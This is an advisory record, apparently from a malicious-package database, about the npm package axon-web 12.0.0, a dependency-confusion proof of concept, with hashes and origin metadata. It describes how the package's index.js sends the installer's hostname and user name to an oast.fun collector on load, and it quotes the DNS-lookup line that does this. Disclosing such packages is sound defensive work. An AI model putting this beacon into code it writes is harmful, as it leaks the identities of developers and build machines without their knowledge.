-= Per source details. Do not edit below this line.=-
On module load, index.js reads os.hostname() and process.env.USER/USERNAME and encodes them into a subdomain of an interactsh (oast.fun) out-of-band collector, then performs a DNS resolution against that subdomain (dns.resolve(hostname+'-'+user+'.infpvjkgeazvrvvbtqszbyt7ua3s66fcr.oast.fun')). The DNS query itself transmits the installer's host identity to a third-party OOB listener controlled by whoever provisioned the oast.fun subdomain. The package identifies itself as a dependency-confusion proof-of-concept, and the behavior fires automatically on require() with no caller action required. The beacon reveals internal hostnames and account names of any build system or developer machine that resolves this public npm name instead of an intended internal package of the same name.
{
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-022763",
"import_time": "2026-11-13T04:13:30.919181914Z",
"modified_time": "2026-11-13T03:51:42Z",
"sha256": "395db55c618565f281d33b84b001d9c395ddcd7456ecc8906e5fd6577c16b3f5",
"source": "amazon-inspector",
"versions": [
"12.0.0"
]
}
]
}[
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
]
{
"evidence_files": [
{
"path": "index.js",
"sha256": "af0a52025990469c57e6f05694b9a941503ef47d3beb72cf7f5d88250d587d55",
"tlsh": "c4017b9ce7fce7b923e345c0b58c44136497df92294290117418879b43e0e651321d39"
}
],
"package_integrity": [
{
"filename": "axon-web-12.0.0.tgz",
"hashes": {
"sha1": "38edfb83b9da9176ca540368f06342b9d40a9812",
"sha512_sri": "sha512-r2JkpxXSZZz2m7IzyGBFXEjTi7aPdsw0TbxEYdbF0T+cyuFHdqBFG6/4ASqg6vkhLvw6eRJiV0w0Hq4Xu2NhdQ=="
}
}
]
}
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/axon-web/MAL-2026-19222.json"